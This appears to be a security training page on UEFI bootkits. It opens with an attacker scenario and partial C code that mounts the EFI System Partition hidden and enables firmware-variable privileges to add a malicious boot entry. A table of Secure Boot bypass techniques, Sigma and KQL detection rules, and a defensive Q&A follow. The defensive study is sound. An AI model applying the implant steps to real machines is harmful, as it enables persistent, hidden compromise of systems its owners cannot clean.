Bootkit and UEFI Malware
UEFI bootkits are the highest tier of persistence: they execute before the OS loader, before Secure Boot enforcement (if bypassed), before any security software, and survive OS reinstalls because they live in the EFI System Partition or the UEFI firmware flash. BlackLotus (2022–2023) was the first public in-the-wild UEFI bootkit targeting Windows 11 with Secure Boot bypass, proving that this class of threat has moved from nation-state toolkits to crimeware. Detection requires firmware integrity monitoring and ESP file auditing.
You need persistence on a target that gets its OS reimaged quarterly by IT. A standard registry or scheduled task persistence won't survive the reimage. You need an implant that survives OS reinstallation, executes before Windows Security Center initializes, and can disable Secure Boot verification of the OS bootloader — enabling permanent kernel-level control across re-images.
UEFI Boot Chain
BlackLotus Analysis
ESP File Implant
// The EFI System Partition (ESP) is typically mounted at hidden/locked path.
// An attacker with SYSTEM access can mount it, modify files, and unmount.
// Modifying bootmgfw.efi or adding a new boot entry requires the EFI partition
// to be mounted — normally it is not; Windows mounts it only during update.
// Mount ESP (requires admin, works without driver):
// mountvol X: /s → mounts ESP at X:\
// After mount: ESP is at X:\EFI\Microsoft\Boot\
VOID MountESP(WCHAR driveLetter) {
WCHAR cmd[64];
swprintf_s(cmd, L"mountvol %c: /s", driveLetter);
ShellExecuteW(NULL, L"open", L"cmd.exe",
cmd, NULL, SW_HIDE);
}
// Malicious EFI application (.efi = PE with EFI subsystem) written to ESP:
// X:\EFI\Backdoor\loader.efi
// Add boot entry: bcdedit /copy {bootmgr} /d "System Recovery"
// Modify entry to point to loader.efi via UEFI NVRAM (requires privileged NVRAM write)
// Add UEFI NVRAM boot entry from Win32 (SetFirmwareEnvironmentVariableExW):
BOOL AddUEFIBootEntry(LPCWSTR efiPath) {
// Build EFI_LOAD_OPTION structure
// Variable name: "Boot####" where #### is next available hex number
// Requires SE_SYSTEM_ENVIRONMENT_PRIVILEGE
LUID luid;
LookupPrivilegeValueW(NULL, SE_SYSTEM_ENVIRONMENT_NAME, &luid);
TOKEN_PRIVILEGES tp = {1, {{luid, SE_PRIVILEGE_ENABLED}}};
HANDLE hTok;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hTok);
AdjustTokenPrivileges(hTok, FALSE, &tp, 0, NULL, NULL);
// SetFirmwareEnvironmentVariableExW("Boot0002",
// "{8be4df61-93ca-11d2-aa0d-00e098032b8c}",
// efiLoadOptionBytes, cbBytes, VARIABLE_ATTRIBUTE_NON_VOLATILE | ...)
return TRUE; // Full EFI_LOAD_OPTION construction: see UEFI spec section 3.1.3
}
Secure Boot Bypass Techniques
| Technique | Root cause | Patched? | Example |
|---|---|---|---|
| Un-revoked bootloader replay | Old signed bootloader not in DBX | Partially — requires DBX update pushed to all systems | BlackLotus CVE-2022-21894 |
| UEFI firmware vulnerability | Parsing bug in UEFI code before Secure Boot check | Per-vendor fix, often unpatched on older hardware | LogoFAIL (2023) — image parsing in UEFI DXE |
| Secure Boot policy bypass | Custom policy allows test-signed code via EFI policy variable | Patched (MS15-006) but policy files still circulate | Equation Group "DoubleAgent" |
| Physical SPI flash write | Physical access to SPI chip | Not software-patchable | Evil Maid attacks |
| UEFI update mechanism abuse | Vendor UEFI update executed in OS; insufficient signature check | Vendor-specific | ThinkPwn, AMI modules |
Detection Engineering
title: EFI System Partition Write — Unexpected Process Writing ESP Files
logsource:
product: windows
category: file_event
detection:
selection:
EventID: 11 # Sysmon FileCreate
TargetFilename|contains: '\EFI\'
not_legit:
Image|endswith:
- '\TrustedInstaller.exe'
- '\wuauclt.exe'
- '\svchost.exe'
condition: selection and not not_legit
level: critical
tags: [attack.persistence, T1542.003]
title: mountvol Used to Mount EFI Partition
logsource:
product: windows
category: process_creation
detection:
selection:
Image|endswith: '\mountvol.exe'
CommandLine|contains: '/s'
condition: selection
level: high
title: UEFI NVRAM Write — SetFirmwareEnvironmentVariable
logsource:
product: windows
category: process_access
detection:
selection:
EventID: 10
CallTrace|contains: 'SetFirmwareEnvironmentVariable'
condition: selection
level: critical
-- MDE KQL: ESP write or mountvol to hidden EFI partition
DeviceProcessEvents
| where Timestamp > ago(1d)
| where FileName =~ "mountvol.exe"
| where ProcessCommandLine has "/s"
| project Timestamp, DeviceName, AccountName,
InitiatingProcessFileName, ProcessCommandLine
DeviceFileEvents
| where Timestamp > ago(1d)
| where FolderPath has @"\EFI\"
| where ActionType in ("FileCreated","FileModified")
| where InitiatingProcessFileName !in~ (
"TrustedInstaller.exe","WinStore.App.exe","svchost.exe")
| project Timestamp, DeviceName, FileName, FolderPath,
InitiatingProcessFileName, InitiatingProcessCommandLine
-- Firmware integrity: compare ESP bootmgfw.efi SHA256 against known-good
-- PowerShell (scheduled task or Defender AV scan at boot):
-- $hash = Get-FileHash "X:\EFI\Microsoft\Boot\bootmgfw.efi" -Algorithm SHA256
-- if ($hash.Hash -ne "KNOWN_GOOD_HASH") { Alert-SOC "ESP bootloader modified" }
Q&A
If an organization fully patches all systems (DBX updated, firmware patched), what detection controls give the best coverage against UEFI bootkit activity, and why is network-level telemetry specifically important for this threat class?
After patching, the remaining detection controls in order of reliability: (1) ESP integrity monitoring: schedule a hash comparison of all files on the EFI System Partition against a known-good baseline captured right after OS installation. Any new or modified EFI file is anomalous. This can be implemented as a scheduled task that runs at boot before the OS fully loads, or via Microsoft Defender for Endpoint's tamper protection alerts for boot-time file changes. Limitation: if the bootkit loads before Windows, it may intercept and fake the file read. (2) UEFI Secure Boot log (TPM measured boot): modern systems with TPM 2.0 record a cryptographic measurement of every component loaded during boot in the TPM's Platform Configuration Registers (PCRs). If the bootkit modified bootmgfw.efi, PCR[4] will differ from the expected value. Remote Attestation (via Microsoft Azure Attestation or Intune device compliance) can compare PCR values against policy — a mismatch flags a compromised boot chain. This is currently the most reliable control because the TPM measurement happens in hardware before any software can lie. (3) Event Tracing for Windows (ETW) boot events: Windows logs Secure Boot validation failures in the System event log (EventID 1795, BootTrigger). (4) Network telemetry: UEFI bootkits typically need to fetch payloads or communicate with C2. BlackLotus deployed an HTTP downloader that contacted its C2 from within the UEFI context before the OS started — but this traffic still traverses the network and appears in firewall/proxy logs and NDR. Network-level telemetry is specifically valuable because: the UEFI/bootkit environment has no host-based EDR, no kernel-level hooks, and no Defender — the only visibility layer that functions before OS boot is the network. An unusual HTTP connection at 3 AM during a reboot cycle, from a machine that normally only contacts Windows Update servers, to an unknown IP, is a detectable anomaly in network logs even if every host-based sensor is blind.